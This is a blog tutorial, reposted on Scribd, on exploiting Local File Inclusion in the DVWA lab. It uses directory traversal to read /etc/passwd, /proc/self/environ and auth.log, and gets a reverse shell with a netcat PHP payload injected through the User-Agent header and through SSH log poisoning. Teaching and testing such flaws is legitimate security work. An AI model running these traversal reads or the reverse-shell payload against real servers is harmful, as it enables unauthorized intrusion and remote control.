Scribd
Upload
168 views20 pages

From Local File Inclusion to Reverse Shell _ by A3h1nt _ Medium

The document discusses Local File Inclusion (LFI) vulnerabilities in web applications, explaining how they can lead to unauthorized access to system files and potentially allow attackers to execute malicious code. It provides methods for identifying LFI vulnerabilities through directory traversal and demonstrates how to exploit them to obtain a reverse shell using PHP payloads. The conclusion emphasizes the importance of understanding and testing for such vulnerabilities in web security.

Uploaded by

peter.nechala
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
168 views20 pages

From Local File Inclusion to Reverse Shell _ by A3h1nt _ Medium

The document discusses Local File Inclusion (LFI) vulnerabilities in web applications, explaining how they can lead to unauthorized access to system files and potentially allow attackers to execute malicious code. It provides methods for identifying LFI vulnerabilities through directory traversal and demonstrates how to exploit them to obtain a reverse shell using PHP payloads. The conclusion emphasizes the importance of understanding and testing for such vulnerabilities in web security.

Uploaded by

peter.nechala
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 20

Get unlimited access to the best of Medium for less than $1/week.

Become a member
Search Write

From Local File Inclusion to Reverse


Shell
A3h1nt · Follow
5 min read · Apr 27, 2020

83 1

What is a file inclusion vulnerability?


A file inclusion vulnerability occurs when a web application takes a file path
as an input, which can lead to confidential data exposure, XSS, remote code
execution, and even a reverse shell(we’ll talk about this for now).

File inclusion vulnerabilities are of two types Local File Inclusion(LFI) and
Remote File Inclusion(RFI), but for the sake of this blog, we’ll only talk about
LFI.

Local File Inclusion vulnerability allows the attacker to read system local
files, perform XSS, and can even lead to code execution.

How to identify Local File Inclusion (LFI)?


whenever we spot a URL for example

http://www.test.com/?page=something.php

We can perform directory traversal to find out if the website is vulnerable to


LFI or not for example we can replace “something.php” with
“../../../../../etc/passwd” , which’ll expose the system passwords, but since our
focus in this blog is primarily on reverse shell , which is much more
powerful .

We’ll traverse to these two directories to achieve our goal

/proc/self/environ ; This file contains the variables of the current


environment, we will try to manipulate the value of these variables to
achieve our nasty goal.
/var/log/auth.log; This file contains authorization information logged by
various processes .

Getting a Reverse Shell ( Method -1 )


We’ll use DVWA for testing purpose .

Let’s first try to find if the url is somwhere similar to

http://www.test.com/?page=something.php
we can see the url is

172.16.177.140/dvwa/vulneribilities/fi/?page=include.php

Now , we can perform directory traversal to find if the website is vulnerable


to LFI or not.
Since we can see that we are able to read the /proc/self/environ, this means
this website is vulnerable to LFI, now we’ll see where can inject our PHP
script in order to get a reverse shell.

If we read the output carefully we can see that there’s a field USER_AGENT,
the USER_AGENT is a request header field that contains the information
about the user agent originating the request, what if we can inject something
in this field?
Let’s do it!

Let’s start our Burp proxy , and let’s analyse the request reloading this page

Now let’s replace the data in user agent field with our payload .

<?
passthru(“nc -e /bin/sh 172.16.177.175 69”);

?>

This is our PHP payload, let me explain to you what it does

So we are using Netcat to make the target machine connect back to us, with a
shell, just replace the IP with your public IP and port with your desired port
number and you’re good to go.

Let’s listen on you machine for the incoming connections


Now we’ll change the user agent field
Once we have replaced the User-Agent field with our payload let’s forward it.

Here we go !

we have sucessfully exploited the website using LFI vulneribility.

Getting a Reverse Shell ( Method 2 )


Let’s perform directory traversal again , but this time we’ll traverse for the
file. /var/log/auth.log.
We get alot of data here , now let’s try to login using ssh , if we do everything
right then the auth.log file must show our ssh log in auth.log so let’s do it.
So let’s try to login with any random name , here we have the name as achkar
and we’ll enter any random password , since our goal is just to list our log not
to bypass login.

Now let’s go the that same page , reload and try to find the username we
tried to login with .
Beautiful , now we can confirm that the server is processing our query and
also listing it in the auth.log file , now let’s try to inject our payload using ssh
.

We will use the same payload that we used before .


Since , we cannot pass the payload as it is , so we’ve encoded it using base64
cipher and later on it’ll decode itself once it reaches the target .

Now let’s listen for incoming connections on our machine

Now , once we reload the page

Here we have our reverse shell .


Conclusion
File inclusion vulnerability occurs when the user can pass the file path in
the input

To find if the website is vulnerable to LFI always try directory traversal.

Try to access different files and see which parameter you can change
according to your benefit.

I would like to end this blog by quoting ‘The difference between a noob
and a hacker is that a hacker has failed more than a noob has ever tried”.

Web App Penetration Inclusion Vulnerability Infosec Reverse Shell

Local File Inclusion

Written by A3h1nt Follow


33 Followers · 10 Following

Infosec Enthusiast | Student


Responses (1)

What are your thoughts?

Respond

Vivek Kumar
Oct 30, 2021

What if the target machine does not have netcat on it?

1 reply Reply

More from A3h1nt


A3h1nt A3h1nt

N-map from Scratch | Part-4 | Nmap from Scratch | Part-7 |


Scanning techniques Timing and Performance
Congratulations on making it to part-4, I Nmap scans can be very time taking, for one
cannot tell how important this blog is, this… target it’s not much, but if we are scanning f…

Dec 21, 2020 Dec 24, 2020

A3h1nt A3h1nt

Software Development Life Cycle What is CIA Triad ?


(SDLC): Explained
Software development life cycle is a The CIA Triad is a benchmark model for
framework that defines the different steps… information security, to monitor and evaluat…

Jan 28, 2021 3 Jan 28, 2021 2

See all from A3h1nt

Recommended from Medium

Abhijeet kumawat Jose Campo


Day 11 0f 30 Days — 30 Conquering Active Directory for
Vulnerabilities | File Upload… OSCP+: Essential Techniques and…
Day 11: Mastering File Upload Vulnerability — This is the second of a series of short articles
Essential Tricks & Techniques Based on… written to assist with the Active Directory…

Aug 13, 2024 77 1 Nov 4, 2024 4 1

Lists

Staff picks Stories to Help You Level-Up


810 stories · 1617 saves at Work
19 stories · 934 saves

Self-Improvement 101 Productivity 101


20 stories · 3285 saves 20 stories · 2768 saves
Abhijeet kumawat Jose Campo

Day 17 of 30 Days — 30 PenTestMonkey & Ivan Sincek


Vulnerabilities | Path/Directory… Shells Failing? Use This PHP…
Day 17: Mastering Path/Directory Traversal You managed to find a LFI or a way to upload
Vulnerability — Essential Tricks & Technique… a php malicious file via ftp. You are very…

Aug 26, 2024 77 3d ago 4 1

In InfoSec Write-ups by Akash Ghosh In Cyber Security Write-ups by Abhijeet kumawat

How I Earned $200 Using GitHub $200 Smart XSS 💰


Dorking: A Manual and Automate… 🚀 Free Link: Click Here
GitHub is a goldmine for bug bounty hunters
and security researchers, with countless…

Jan 28 30 2 5d ago 131 6


See more recommendations

Help Status About Careers Press Blog Privacy Terms Text to speech Teams

You might also like